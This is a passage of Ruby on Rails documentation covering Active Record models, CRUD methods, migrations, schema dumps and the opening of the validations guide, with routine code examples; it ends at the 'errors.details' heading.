- Primary keys - By default, Active Record will use an integer column named id as the table's primary key. When using Active Record Migrations to create your tables, this column will be automatically created.

There are also some optional column names that will add additional features to Active Record instances:

- created_at - Automatically gets set to the current date and time when the record is first created.

- updated_at - Automatically gets set to the current date and time whenever the record is updated.

- lock_version - Adds optimistic locking to a model.

- type - Specifies that the model uses Single Table Inheritance.

- (association_name)_type - Stores the type for polymorphic associations.

- (table_name)_count - Used to cache the number of belonging objects on associations. For example, a comments_count column in an Article class that has many instances of Comment will cache the number of existent comments for each article.

While these column names are optional, they are in fact reserved by Active Record. Steer clear of reserved keywords unless you want the extra functionality. For example, type is a reserved keyword used to designate a table using Single Table Inheritance (STI). If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling.

3 Creating Active Record Models

It is very easy to create Active Record models. All you have to do is to subclass the ApplicationRecord class and you're good to go:

class Product < ApplicationRecord
end

This will create a Product model, mapped to a products table at the database. By doing this you'll also have the ability to map the columns of each row in that table with the attributes of the instances of your model. Suppose that the products table was created using an SQL statement like:

CREATE TABLE products (
id int(11) NOT NULL auto_increment,
name varchar(255),
PRIMARY KEY  (id)
);

Following the table schema above, you would be able to write code like the following:

p = Product.new
p.name = "Some Book"
puts p.name # "Some Book"

4 Overriding the Naming Conventions

What if you need to follow a different naming convention or need to use your Rails application with a legacy database? No problem, you can easily override the default conventions.

ApplicationRecord inherits from ActiveRecord::Base, which defines a number of helpful methods. You can use the ActiveRecord::Base.table_name= method to specify the table name that should be used:

class Product < ApplicationRecord
self.table_name = "my_products"
end

If you do so, you will have to define manually the class name that is hosting the fixtures (my_products.yml) using the set_fixture_class method in your test definition:

class ProductTest < ActiveSupport::TestCase
set_fixture_class my_products: Product
fixtures :my_products
...
end

It's also possible to override the column that should be used as the table's primary key using the ActiveRecord::Base.primary_key= method:

class Product < ApplicationRecord
self.primary_key = "product_id"
end

5 CRUD: Reading and Writing Data

CRUD is an acronym for the four verbs we use to operate on data: Create, Read, Update and Delete. Active Record automatically creates methods to allow an application to read and manipulate data stored within its tables.

5.1 Create

Active Record objects can be created from a hash, a block or have their attributes manually set after creation. The new method will return a new object while create will return the object and save it to the database.

For example, given a model User with attributes of name and occupation, the create method call will create and save a new record into the database:

user = User.create(name: "David", occupation: "Code Artist")

Using the new method, an object can be instantiated without being saved:

user = User.new
user.name = "David"
user.occupation = "Code Artist"

A call to user.save will commit the record to the database.

Finally, if a block is provided, both create and new will yield the new object to that block for initialization:

user = User.new do |u|
u.name = "David"
u.occupation = "Code Artist"
end

5.2 Read

Active Record provides a rich API for accessing data within a database. Below are a few examples of different data access methods provided by Active Record.

# return a collection with all users
users = User.all

# return the first user
user = User.first

# return the first user named David
david = User.find_by(name: 'David')

# find all users named David who are Code Artists and sort by created_at in reverse chronological order
users = User.where(name: 'David', occupation: 'Code Artist').order(created_at: :desc)

You can learn more about querying an Active Record model in the Active Record Query Interface guide.

5.3 Update

Once an Active Record object has been retrieved, its attributes can be modified and it can be saved to the database.

user = User.find_by(name: 'David')
user.name = 'Dave'
user.save

A shorthand for this is to use a hash mapping attribute names to the desired value, like so:

user = User.find_by(name: 'David')
user.update(name: 'Dave')

This is most useful when updating several attributes at once. If, on the other hand, you'd like to update several records in bulk, you may find the update_all class method useful:

User.update_all "max_login_attempts = 3, must_change_password = 'true'"

5.4 Delete

Likewise, once retrieved an Active Record object can be destroyed which removes it from the database.

user = User.find_by(name: 'David')
user.destroy

6 Validations

Active Record allows you to validate the state of a model before it gets written into the database. There are several methods that you can use to check your models and validate that an attribute value is not empty, is unique and not already in the database, follows a specific format and many more.

Validation is a very important issue to consider when persisting to the database, so the methods save and update take it into account when running: they return false when validation fails and they didn't actually perform any operation on the database. All of these have a bang counterpart (that is, save! and update!), which are stricter in that they raise the exception ActiveRecord::RecordInvalid if validation fails. A quick example to illustrate:

class User < ApplicationRecord
validates :name, presence: true
end

user = User.new
user.save  # => false
user.save! # => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank

You can learn more about validations in the Active Record Validations guide.

7 Callbacks

Active Record callbacks allow you to attach code to certain events in the life-cycle of your models. This enables you to add behavior to your models by transparently executing code when those events occur, like when you create a new record, update it, destroy it and so on. You can learn more about callbacks in the Active Record Callbacks guide.

8 Migrations

Rails provides a domain-specific language for managing a database schema called migrations. Migrations are stored in files which are executed against any database that Active Record supports using rake. Here's a migration that creates a table:

class CreatePublications < ActiveRecord::Migration[5.0]
def change
create_table :publications do |t|
t.string :title
t.text :description
t.references :publication_type
t.integer :publisher_id
t.string :publisher_type
t.boolean :single_issue

t.timestamps
end
add_index :publications, :publication_type_id
end
end

Rails keeps track of which files have been committed to the database and provides rollback features. To actually create the table, you'd run rails db:migrate and to roll it back, rails db:rollback.

Note that the above code is database-agnostic: it will run in MySQL, PostgreSQL, Oracle and others. You can learn more about migrations in the Active Record Migrations guide.

Active Record Migrations — Ruby on...

1 Migration Overview

Migrations are a convenient way to alter your database schema over time in a consistent and easy way. They use a Ruby DSL so that you don't have to write SQL by hand, allowing your schema and changes to be database independent.

You can think of each migration as being a new 'version' of the database. A schema starts off with nothing in it, and each migration modifies it to add or remove tables, columns, or entries. Active Record knows how to update your schema along this timeline, bringing it from whatever point it is in the history to the latest version. Active Record will also update your db/schema.rb file to match the up-to-date structure of your database.

Here's an example of a migration:

class CreateProducts < ActiveRecord::Migration[5.0]
def change
create_table :products do |t|
t.string :name
t.text :description

t.timestamps
end
end
end

This migration adds a table called products with a string column called name and a text column called description. A primary key column called id will also be added implicitly, as it's the default primary key for all Active Record models. The timestamps macro adds two columns, created_at and updated_at. These special columns are automatically managed by Active Record if they exist.

Note that we define the change that we want to happen moving forward in time. Before this migration is run, there will be no table. After, the table will exist. Active Record knows how to reverse this migration as well: if we roll this migration back, it will remove the table.

On databases that support transactions with statements that change the schema, migrations are wrapped in a transaction. If the database does not support this then when a migration fails the parts of it that succeeded will not be rolled back. You will have to rollback the changes that were made by hand.

There are certain queries that can't run inside a transaction. If your adapter supports DDL transactions you can use disable_ddl_transaction! to disable them for a single migration.

If you wish for a migration to do something that Active Record doesn't know how to reverse, you can use reversible:

class ChangeProductsPrice < ActiveRecord::Migration[5.0]
def change
reversible do |dir|
change_table :products do |t|
dir.up   { t.change :price, :string }
dir.down { t.change :price, :integer }
end
end
end
end

Alternatively, you can use up and down instead of change:

class ChangeProductsPrice < ActiveRecord::Migration[5.0]
def up
change_table :products do |t|
t.change :price, :string
end
end

def down
change_table :products do |t|
t.change :price, :integer
end
end
end

2 Creating a Migration

2.1 Creating a Standalone Migration

Migrations are stored as files in the db/migrate directory, one for each migration class. The name of the file is of the form YYYYMMDDHHMMSS_create_products.rb, that is to say a UTC timestamp identifying the migration followed by an underscore followed by the name of the migration. The name of the migration class (CamelCased version) should match the latter part of the file name. For example 20080906120000_create_products.rb should define class CreateProducts and 20080906120001_add_details_to_products.rb should define AddDetailsToProducts. Rails uses this timestamp to determine which migration should be run and in what order, so if you're copying a migration from another application or generate a file yourself, be aware of its position in the order.

Of course, calculating timestamps is no fun, so Active Record provides a generator to handle making it for you:

$ bin/rails generate migration AddPartNumberToProducts

This will create an empty but appropriately named migration:

class AddPartNumberToProducts < ActiveRecord::Migration[5.0]
def change
end
end

If the migration name is of the form "AddXXXToYYY" or "RemoveXXXFromYYY" and is followed by a list of column names and types then a migration containing the appropriate add_column and remove_column statements will be created.

$ bin/rails generate migration AddPartNumberToProducts part_number:string

will generate

class AddPartNumberToProducts < ActiveRecord::Migration[5.0]
def change
add_column :products, :part_number, :string
end
end

If you'd like to add an index on the new column, you can do that as well:

$ bin/rails generate migration AddPartNumberToProducts part_number:string:index

will generate

class AddPartNumberToProducts < ActiveRecord::Migration[5.0]
def change
add_column :products, :part_number, :string
add_index :products, :part_number
end
end

Similarly, you can generate a migration to remove a column from the command line:

$ bin/rails generate migration RemovePartNumberFromProducts part_number:string

generates

class RemovePartNumberFromProducts < ActiveRecord::Migration[5.0]
def change
remove_column :products, :part_number, :string
end
end

You are not limited to one magically generated column. For example:

$ bin/rails generate migration AddDetailsToProducts part_number:string price:decimal

generates

class AddDetailsToProducts < ActiveRecord::Migration[5.0]
def change
add_column :products, :part_number, :string
add_column :products, :price, :decimal
end
end

If the migration name is of the form "CreateXXX" and is followed by a list of column names and types then a migration creating the table XXX with the columns listed will be generated. For example:

$ bin/rails generate migration CreateProducts name:string part_number:string

generates

class CreateProducts < ActiveRecord::Migration[5.0]
def change
create_table :products do |t|
t.string :name
t.string :part_number
end
end
end

As always, what has been generated for you is just a starting point. You can add or remove from it as you see fit by editing the db/migrate/YYYYMMDDHHMMSS_add_details_to_products.rb file.

Also, the generator accepts column type as references(also available as belongs_to). For instance:

$ bin/rails generate migration AddUserRefToProducts user:references

generates

class AddUserRefToProducts < ActiveRecord::Migration[5.0]
def change
add_reference :products, :user, index: true, foreign_key: true
end
end

This migration will create a user_id column and appropriate index. For more add_reference options, visit the API documentation.

There is also a generator which will produce join tables if JoinTable is part of the name:

$ bin/rails g migration CreateJoinTableCustomerProduct customer product

will produce the following migration:

class CreateJoinTableCustomerProduct < ActiveRecord::Migration[5.0]
def change
create_join_table :customers, :products do |t|
# t.index [:customer_id, :product_id]
# t.index [:product_id, :customer_id]
end
end
end

2.2 Model Generators

The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want, then statements for adding these columns will also be created. For example, running:

$ bin/rails generate model Product name:string description:text

will create a migration that looks like this

class CreateProducts < ActiveRecord::Migration[5.0]
def change
create_table :products do |t|
t.string :name
t.text :description

t.timestamps
end
end
end

You can append as many column name/type pairs as you want.

2.3 Passing Modifiers

Some commonly used type modifiers can be passed directly on the command line. They are enclosed by curly braces and follow the field type:

For instance, running:

$ bin/rails generate migration AddDetailsToProducts 'price:decimal{5,2}' supplier:references{polymorphic}

will produce a migration that looks like this

class AddDetailsToProducts < ActiveRecord::Migration[5.0]
def change
add_column :products, :price, :decimal, precision: 5, scale: 2
add_reference :products, :supplier, polymorphic: true, index: true
end
end

Have a look at the generators help output for further details.

3 Writing a Migration

Once you have created your migration using one of the generators it's time to get to work!

3.1 Creating a Table

The create_table method is one of the most fundamental, but most of the time, will be generated for you from using a model or scaffold generator. A typical use would be

create_table :products do |t|
t.string :name
end

which creates a products table with a column called name (and as discussed below, an implicit id column).

By default, create_table will create a primary key called id. You can change the name of the primary key with the :primary_key option (don't forget to update the corresponding model) or, if you don't want a primary key at all, you can pass the option id: false. If you need to pass database specific options you can place an SQL fragment in the :options option. For example:

create_table :products, options: "ENGINE=BLACKHOLE" do |t|
t.string :name, null: false
end

will append ENGINE=BLACKHOLE to the SQL statement used to create the table (when using MySQL or MariaDB, the default is ENGINE=InnoDB).

Also you can pass the :comment option with any description for the table that will be stored in database itself and can be viewed with database administration tools, such as MySQL Workbench or PgAdmin III. It's highly recommended to specify comments in migrations for applications with large databases as it helps people to understand data model and generate documentation. Currently only the MySQL and PostgreSQL adapters support comments.

3.2 Creating a Join Table

The migration method create_join_table creates an HABTM (has and belongs to many) join table. A typical use would be:

create_join_table :products, :categories

which creates a categories_products table with two columns called category_id and product_id. These columns have the option :null set to false by default. This can be overridden by specifying the :column_options option:

create_join_table :products, :categories, column_options: { null: true }

By default, the name of the join table comes from the union of the first two arguments provided to create_join_table, in alphabetical order. To customize the name of the table, provide a :table_name option:

create_join_table :products, :categories, table_name: :categorization

creates a categorization table.

create_join_table also accepts a block, which you can use to add indices (which are not created by default) or additional columns:

create_join_table :products, :categories do |t|
t.index :product_id
t.index :category_id
end

3.3 Changing Tables

A close cousin of create_table is change_table, used for changing existing tables. It is used in a similar fashion to create_table but the object yielded to the block knows more tricks. For example:

change_table :products do |t|
t.remove :description, :name
t.string :part_number
t.index :part_number
t.rename :upccode, :upc_code
end

removes the description and name columns, creates a part_number string column and adds an index on it. Finally it renames the upccode column.

3.4 Changing Columns

Like the remove_column and add_column Rails provides the change_column migration method.

change_column :products, :part_number, :text

This changes the column part_number on products table to be a :text field. Note that change_column command is irreversible.

Besides change_column, the change_column_null and change_column_default methods are used specifically to change a not null constraint and default values of a column.

change_column_null :products, :name, false
change_column_default :products, :approved, from: true, to: false

This sets :name field on products to a NOT NULL column and the default value of the :approved field from true to false.

Note: You could also write the above change_column_default migration as change_column_default :products, :approved, false, but unlike the previous example, this would make your migration irreversible.

3.5 Column Modifiers

Column modifiers can be applied when creating or changing a column:

- limit Sets the maximum size of the string/text/binary/integer fields.

- precision Defines the precision for the decimal fields, representing the total number of digits in the number.

- scale Defines the scale for the decimal fields, representing the number of digits after the decimal point.

- polymorphic Adds a type column for belongs_to associations.

- null Allows or disallows NULL values in the column.

- default Allows to set a default value on the column. Note that if you are using a dynamic value (such as a date), the default will only be calculated the first time (i.e. on the date the migration is applied).

- index Adds an index for the column.

- comment Adds a comment for the column.

Some adapters may support additional options; see the adapter specific API docs for further information.

null and default cannot be specified via command line.

3.6 Foreign Keys

While it's not required you might want to add foreign key constraints to guarantee referential integrity.

add_foreign_key :articles, :authors

This adds a new foreign key to the author_id column of the articles table. The key references the id column of the authors table. If the column names can not be derived from the table names, you can use the :column and :primary_key options.

Rails will generate a name for every foreign key starting with fk_rails_ followed by 10 characters which are deterministically generated from the from_table and column. There is a :name option to specify a different name if needed.

Active Record only supports single column foreign keys. execute and structure.sql are required to use composite foreign keys. See Schema Dumping and You.

Removing a foreign key is easy as well:

# let Active Record figure out the column name
remove_foreign_key :accounts, :branches

# remove foreign key for a specific column
remove_foreign_key :accounts, column: :owner_id

# remove foreign key by name
remove_foreign_key :accounts, name: :special_fk_name

3.7 When Helpers aren't Enough

If the helpers provided by Active Record aren't enough you can use the execute method to execute arbitrary SQL:

Product.connection.execute("UPDATE products SET price = 'free' WHERE 1=1")

For more details and examples of individual methods, check the API documentation. In particular the documentation for ActiveRecord::ConnectionAdapters::SchemaStatements (which provides the methods available in the change, up and down methods), ActiveRecord::ConnectionAdapters::TableDefinition (which provides the methods available on the object yielded by create_table) and ActiveRecord::ConnectionAdapters::Table (which provides the methods available on the object yielded by change_table).

3.8 Using the change Method

The change method is the primary way of writing migrations. It works for the majority of cases, where Active Record knows how to reverse the migration automatically. Currently, the change method supports only these migration definitions:

- add_column

- add_foreign_key

- add_index

- add_reference

- add_timestamps

- change_column_default (must supply a :from and :to option)

- change_column_null

- create_join_table

- create_table

- disable_extension

- drop_join_table

- drop_table (must supply a block)

- enable_extension

- remove_column (must supply a type)

- remove_foreign_key (must supply a second table)

- remove_index

- remove_reference

- remove_timestamps

- rename_column

- rename_index

- rename_table

change_table is also reversible, as long as the block does not call change, change_default or remove.

remove_column is reversible if you supply the column type as the third argument. Provide the original column options too, otherwise Rails can't recreate the column exactly when rolling back:

remove_column :posts, :slug, :string, null: false, default: '', index: true

If you're going to need to use any other methods, you should use reversible or write the up and down methods instead of using the change method.

3.9 Using reversible

Complex migrations may require processing that Active Record doesn't know how to reverse. You can use reversible to specify what to do when running a migration and what else to do when reverting it. For example:

class ExampleMigration < ActiveRecord::Migration[5.0]
def change
create_table :distributors do |t|
t.string :zipcode
end

reversible do |dir|
dir.up do
# add a CHECK constraint
execute <<-SQL
ALTER TABLE distributors
ADD CONSTRAINT zipchk
CHECK (char_length(zipcode) = 5) NO INHERIT;
SQL
end
dir.down do
execute <<-SQL
ALTER TABLE distributors
DROP CONSTRAINT zipchk
SQL
end
end

add_column :users, :home_page_url, :string
rename_column :users, :email, :email_address
end
end

Using reversible will ensure that the instructions are executed in the right order too. If the previous example migration is reverted, the down block will be run after the home_page_url column is removed and right before the table distributors is dropped.

Sometimes your migration will do something which is just plain irreversible; for example, it might destroy some data. In such cases, you can raise ActiveRecord::IrreversibleMigration in your down block. If someone tries to revert your migration, an error message will be displayed saying that it can't be done.

3.10 Using the up/down Methods

You can also use the old style of migration using up and down methods instead of the change method. The up method should describe the transformation you'd like to make to your schema, and the down method of your migration should revert the transformations done by the up method. In other words, the database schema should be unchanged if you do an up followed by a down. For example, if you create a table in the up method, you should drop it in the down method. It is wise to perform the transformations in precisely the reverse order they were made in the up method. The example in the reversible section is equivalent to:

class ExampleMigration < ActiveRecord::Migration[5.0]
def up
create_table :distributors do |t|
t.string :zipcode
end

# add a CHECK constraint
execute <<-SQL
ALTER TABLE distributors
ADD CONSTRAINT zipchk
CHECK (char_length(zipcode) = 5);
SQL

add_column :users, :home_page_url, :string
rename_column :users, :email, :email_address
end

def down
rename_column :users, :email_address, :email
remove_column :users, :home_page_url

execute <<-SQL
ALTER TABLE distributors
DROP CONSTRAINT zipchk
SQL

drop_table :distributors
end
end

If your migration is irreversible, you should raise ActiveRecord::IrreversibleMigration from your down method. If someone tries to revert your migration, an error message will be displayed saying that it can't be done.

3.11 Reverting Previous Migrations

You can use Active Record's ability to rollback migrations using the revert method:

require_relative '20121212123456_example_migration'

class FixupExampleMigration < ActiveRecord::Migration[5.0]
def change
revert ExampleMigration

create_table(:apples) do |t|
t.string :variety
end
end
end

The revert method also accepts a block of instructions to reverse. This could be useful to revert selected parts of previous migrations. For example, let's imagine that ExampleMigration is committed and it is later decided it would be best to use Active Record validations, in place of the CHECK constraint, to verify the zipcode.

class DontUseConstraintForZipcodeValidationMigration < ActiveRecord::Migration[5.0]
def change
revert do
# copy-pasted code from ExampleMigration
reversible do |dir|
dir.up do
# add a CHECK constraint
execute <<-SQL
ALTER TABLE distributors
ADD CONSTRAINT zipchk
CHECK (char_length(zipcode) = 5);
SQL
end
dir.down do
execute <<-SQL
ALTER TABLE distributors
DROP CONSTRAINT zipchk
SQL
end
end

# The rest of the migration was ok
end
end
end

The same migration could also have been written without using revert but this would have involved a few more steps: reversing the order of create_table and reversible, replacing create_table by drop_table, and finally replacing up by down and vice-versa. This is all taken care of by revert.

If you want to add check constraints like in the examples above, you will have to use structure.sql as dump method. See Schema Dumping and You.

4 Running Migrations

Rails provides a set of bin/rails tasks to run certain sets of migrations.

The very first migration related bin/rails task you will use will probably be rails db:migrate. In its most basic form it just runs the change or up method for all the migrations that have not yet been run. If there are no such migrations, it exits. It will run these migrations in order based on the date of the migration.

Note that running the db:migrate task also invokes the db:schema:dump task, which will update your db/schema.rb file to match the structure of your database.

If you specify a target version, Active Record will run the required migrations (change, up, down) until it has reached the specified version. The version is the numerical prefix on the migration's filename. For example, to migrate to version 20080906120000 run:

$ bin/rails db:migrate VERSION=20080906120000

If version 20080906120000 is greater than the current version (i.e., it is migrating upwards), this will run the change (or up) method on all migrations up to and including 20080906120000, and will not execute any later migrations. If migrating downwards, this will run the down method on all the migrations down to, but not including, 20080906120000.

4.1 Rolling Back

A common task is to rollback the last migration. For example, if you made a mistake in it and wish to correct it. Rather than tracking down the version number associated with the previous migration you can run:

$ bin/rails db:rollback

This will rollback the latest migration, either by reverting the change method or by running the down method. If you need to undo several migrations you can provide a STEP parameter:

$ bin/rails db:rollback STEP=3

will revert the last 3 migrations.

The db:migrate:redo task is a shortcut for doing a rollback and then migrating back up again. As with the db:rollback task, you can use the STEP parameter if you need to go more than one version back, for example:

$ bin/rails db:migrate:redo STEP=3

Neither of these bin/rails tasks do anything you could not do with db:migrate. They are simply more convenient, since you do not need to explicitly specify the version to migrate to.

4.2 Setup the Database

The rails db:setup task will create the database, load the schema and initialize it with the seed data.

4.3 Resetting the Database

The rails db:reset task will drop the database and set it up again. This is functionally equivalent to rails db:drop db:setup.

This is not the same as running all the migrations. It will only use the contents of the current db/schema.rb or db/structure.sql file. If a migration can't be rolled back, rails db:reset may not help you. To find out more about dumping the schema see Schema Dumping and You section.

4.4 Running Specific Migrations

If you need to run a specific migration up or down, the db:migrate:up and db:migrate:down tasks will do that. Just specify the appropriate version and the corresponding migration will have its change, up or down method invoked, for example:

$ bin/rails db:migrate:up VERSION=20080906120000

will run the 20080906120000 migration by running the change method (or the up method). This task will first check whether the migration is already performed and will do nothing if Active Record believes that it has already been run.

4.5 Running Migrations in Different Environments

By default running bin/rails db:migrate will run in the development environment. To run migrations against another environment you can specify it using the RAILS_ENV environment variable while running the command. For example to run migrations against the test environment you could run:

$ bin/rails db:migrate RAILS_ENV=test

4.6 Changing the Output of Running Migrations

By default migrations tell you exactly what they're doing and how long it took. A migration creating a table and adding an index might produce output like this

==  CreateProducts: migrating =================================================
-- create_table(:products)
-> 0.0028s
==  CreateProducts: migrated (0.0028s) ========================================

Several methods are provided in migrations that allow you to control all this:

Method

Purpose

suppress_messages

Takes a block as an argument and suppresses any output generated by the block.

say

Takes a message argument and outputs it as is. A second boolean argument can be passed to specify whether to indent or not.

say_with_time

Outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected.

For example, this migration:

class CreateProducts < ActiveRecord::Migration[5.0]
def change
suppress_messages do
create_table :products do |t|
t.string :name
t.text :description
t.timestamps
end
end

say "Created a table"

suppress_messages {add_index :products, :name}
say "and an index!", true

say_with_time 'Waiting for a while' do
sleep 10
250
end
end
end

generates the following output

==  CreateProducts: migrating =================================================
-- Created a table
-> and an index!
-- Waiting for a while
-> 10.0013s
-> 250 rows
==  CreateProducts: migrated (10.0054s) =======================================

If you want Active Record to not output anything, then running rails db:migrate VERBOSE=false will suppress all output.

5 Changing Existing Migrations

Occasionally you will make a mistake when writing a migration. If you have already run the migration, then you cannot just edit the migration and run the migration again: Rails thinks it has already run the migration and so will do nothing when you run rails db:migrate. You must rollback the migration (for example with bin/rails db:rollback), edit your migration and then run rails db:migrate to run the corrected version.

In general, editing existing migrations is not a good idea. You will be creating extra work for yourself and your co-workers and cause major headaches if the existing version of the migration has already been run on production machines. Instead, you should write a new migration that performs the changes you require. Editing a freshly generated migration that has not yet been committed to source control (or, more generally, which has not been propagated beyond your development machine) is relatively harmless.

The revert method can be helpful when writing a new migration to undo previous migrations in whole or in part (see Reverting Previous Migrations above).

6 Schema Dumping and You

6.1 What are Schema Files for?

Migrations, mighty as they may be, are not the authoritative source for your database schema. That role falls to either db/schema.rb or an SQL file which Active Record generates by examining the database. They are not designed to be edited, they just represent the current state of the database.

There is no need (and it is error prone) to deploy a new instance of an app by replaying the entire migration history. It is much simpler and faster to just load into the database a description of the current schema.

For example, this is how the test database is created: the current development database is dumped (either to db/schema.rb or db/structure.sql) and then loaded into the test database.

Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model's code and is frequently spread across several migrations, but the information is nicely summed up in the schema file. The annotate_models gem automatically adds and updates comments at the top of each model summarizing the schema if you desire that functionality.

6.2 Types of Schema Dumps

There are two ways to dump the schema. This is set in config/application.rb by the config.active_record.schema_format setting, which may be either :sql or :ruby.

If :ruby is selected, then the schema is stored in db/schema.rb. If you look at this file you'll find that it looks an awful lot like one very big migration:

ActiveRecord::Schema.define(version: 20080906171750) do
create_table "authors", force: true do |t|
t.string   "name"
t.datetime "created_at"
t.datetime "updated_at"
end

create_table "products", force: true do |t|
t.string   "name"
t.text "description"
t.datetime "created_at"
t.datetime "updated_at"
t.string "part_number"
end
end

In many ways this is exactly what it is. This file is created by inspecting the database and expressing its structure using create_table, add_index, and so on. Because this is database-independent, it could be loaded into any database that Active Record supports. This could be very useful if you were to distribute an application that is able to run against multiple databases.

There is however a trade-off: db/schema.rb cannot express database specific items such as triggers, stored procedures or check constraints. While in a migration you can execute custom SQL statements, the schema dumper cannot reconstitute those statements from the database. If you are using features like this, then you should set the schema format to :sql.

Instead of using Active Record's schema dumper, the database's structure will be dumped using a tool specific to the database (via the db:structure:dump rails task) into db/structure.sql. For example, for PostgreSQL, the pg_dump utility is used. For MySQL and MariaDB, this file will contain the output of SHOW CREATE TABLE for the various tables.

Loading these schemas is simply a question of executing the SQL statements they contain. By definition, this will create a perfect copy of the database's structure. Using the :sql schema format will, however, prevent loading the schema into a RDBMS other than the one used to create it.

6.3 Schema Dumps and Source Control

Because schema dumps are the authoritative source for your database schema, it is strongly recommended that you check them into source control.

db/schema.rb contains the current version number of the database. This ensures conflicts are going to happen in the case of a merge where both branches touched the schema. When that happens, solve conflicts manually, keeping the highest version number of the two.

7 Active Record and Referential Integrity

The Active Record way claims that intelligence belongs in your models, not in the database. As such, features such as triggers or constraints, which push some of that intelligence back into the database, are not heavily used.

Validations such as validates :foreign_key, uniqueness: true are one way in which models can enforce data integrity. The :dependent option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level, these cannot guarantee referential integrity and so some people augment them with foreign key constraints in the database.

Although Active Record does not provide all the tools for working directly with such features, the execute method can be used to execute arbitrary SQL.

8 Migrations and Seed Data

The main purpose of Rails' migration feature is to issue commands that modify the schema using a consistent process. Migrations can also be used to add or modify data. This is useful in an existing database that can't be destroyed and recreated, such as a production database.

class AddInitialProducts < ActiveRecord::Migration[5.0]
def up
5.times do |i|
Product.create(name: "Product ##{i}", description: "A product.")
end
end

def down
Product.delete_all
end
end

To add initial data after a database is created, Rails has a built-in 'seeds' feature that makes the process quick and easy. This is especially useful when reloading the database frequently in development and test environments. It's easy to get started with this feature: just fill up db/seeds.rb with some Ruby code, and run rails db:seed:

5.times do |i|
Product.create(name: "Product ##{i}", description: "A product.")
end

This is generally a much cleaner way to set up the database of a blank application.

Active Record Validations — Ruby on...

1 Validations Overview

Here's an example of a very simple validation:

class Person < ApplicationRecord
validates :name, presence: true
end

Person.create(name: "John Doe").valid? # => true
Person.create(name: nil).valid? # => false

As you can see, our validation lets us know that our Person is not valid without a name attribute. The second Person will not be persisted to the database.

Before we dig into more details, let's talk about how validations fit into the big picture of your application.

1.1 Why Use Validations?

Validations are used to ensure that only valid data is saved into your database. For example, it may be important to your application to ensure that every user provides a valid email address and mailing address. Model-level validations are the best way to ensure that only valid data is saved into your database. They are database agnostic, cannot be bypassed by end users, and are convenient to test and maintain. Rails makes them easy to use, provides built-in helpers for common needs, and allows you to create your own validation methods as well.

There are several other ways to validate data before it is saved into your database, including native database constraints, client-side validations and controller-level validations. Here's a summary of the pros and cons:

- Database constraints and/or stored procedures make the validation mechanisms database-dependent and can make testing and maintenance more difficult. However, if your database is used by other applications, it may be a good idea to use some constraints at the database level. Additionally, database-level validations can safely handle some things (such as uniqueness in heavily-used tables) that can be difficult to implement otherwise.

- Client-side validations can be useful, but are generally unreliable if used alone. If they are implemented using JavaScript, they may be bypassed if JavaScript is turned off in the user's browser. However, if combined with other techniques, client-side validation can be a convenient way to provide users with immediate feedback as they use your site.

- Controller-level validations can be tempting to use, but often become unwieldy and difficult to test and maintain. Whenever possible, it's a good idea to keep your controllers skinny, as it will make your application a pleasure to work with in the long run.

Choose these in certain, specific cases. It's the opinion of the Rails team that model-level validations are the most appropriate in most circumstances.

1.2 When Does Validation Happen?

There are two kinds of Active Record objects: those that correspond to a row inside your database and those that do not. When you create a fresh object, for example using the new method, that object does not belong to the database yet. Once you call save upon that object it will be saved into the appropriate database table. Active Record uses the new_record? instance method to determine whether an object is already in the database or not. Consider the following simple Active Record class:

class Person < ApplicationRecord
end

We can see how it works by looking at some rails console output:

$ bin/rails console
>> p = Person.new(name: "John Doe")
=> #<Person id: nil, name: "John Doe", created_at: nil, updated_at: nil>
>> p.new_record?
=> true
>> p.save
=> true
>> p.new_record?
=> false

Creating and saving a new record will send an SQL INSERT operation to the database. Updating an existing record will send an SQL UPDATE operation instead. Validations are typically run before these commands are sent to the database. If any validations fail, the object will be marked as invalid and Active Record will not perform the INSERT or UPDATE operation. This avoids storing an invalid object in the database. You can choose to have specific validations run when an object is created, saved, or updated.

There are many ways to change the state of an object in the database. Some methods will trigger validations, but some will not. This means that it's possible to save an object in the database in an invalid state if you aren't careful.

The following methods trigger validations, and will save the object to the database only if the object is valid:

- create

- create!

- save

- save!

- update

- update!

The bang versions (e.g. save!) raise an exception if the record is invalid. The non-bang versions don't: save and update return false, and create just returns the object.

1.3 Skipping Validations

The following methods skip validations, and will save the object to the database regardless of its validity. They should be used with caution.

- decrement!

- decrement_counter

- increment!

- increment_counter

- toggle!

- touch

- update_all

- update_attribute

- update_column

- update_columns

- update_counters

Note that save also has the ability to skip validations if passed validate: false as an argument. This technique should be used with caution.

- save(validate: false)

1.4 valid? and invalid?

Before saving an Active Record object, Rails runs your validations. If these validations produce any errors, Rails does not save the object.

You can also run these validations on your own. valid? triggers your validations and returns true if no errors were found in the object, and false otherwise. As you saw above:

class Person < ApplicationRecord
validates :name, presence: true
end

Person.create(name: "John Doe").valid? # => true
Person.create(name: nil).valid? # => false

After Active Record has performed validations, any errors found can be accessed through the errors.messages instance method, which returns a collection of errors. By definition, an object is valid if this collection is empty after running validations.

Note that an object instantiated with new will not report errors even if it's technically invalid, because validations are automatically run only when the object is saved, such as with the create or save methods.

class Person < ApplicationRecord
validates :name, presence: true
end

>> p = Person.new
# => #<Person id: nil, name: nil>
>> p.errors.messages
# => {}

>> p.valid?
# => false
>> p.errors.messages
# => {name:["can't be blank"]}

>> p = Person.create
# => #<Person id: nil, name: nil>
>> p.errors.messages
# => {name:["can't be blank"]}

>> p.save
# => false

>> p.save!
# => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank

>> Person.create!
# => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank

invalid? is simply the inverse of valid?. It triggers your validations, returning true if any errors were found in the object, and false otherwise.

1.5 errors[]

To verify whether or not a particular attribute of an object is valid, you can use errors[:attribute]. It returns an array of all the errors for :attribute. If there are no errors on the specified attribute, an empty array is returned.

This method is only useful after validations have been run, because it only inspects the errors collection and does not trigger validations itself. It's different from the ActiveRecord::Base#invalid? method explained above because it doesn't verify the validity of the object as a whole. It only checks to see whether there are errors found on an individual attribute of the object.

class Person < ApplicationRecord
validates :name, presence: true
end

>> Person.new.errors[:name].any? # => false
>> Person.create.errors[:name].any? # => true

We'll cover validation errors in greater depth in the Working with Validation Errors section.

1.6 errors.details

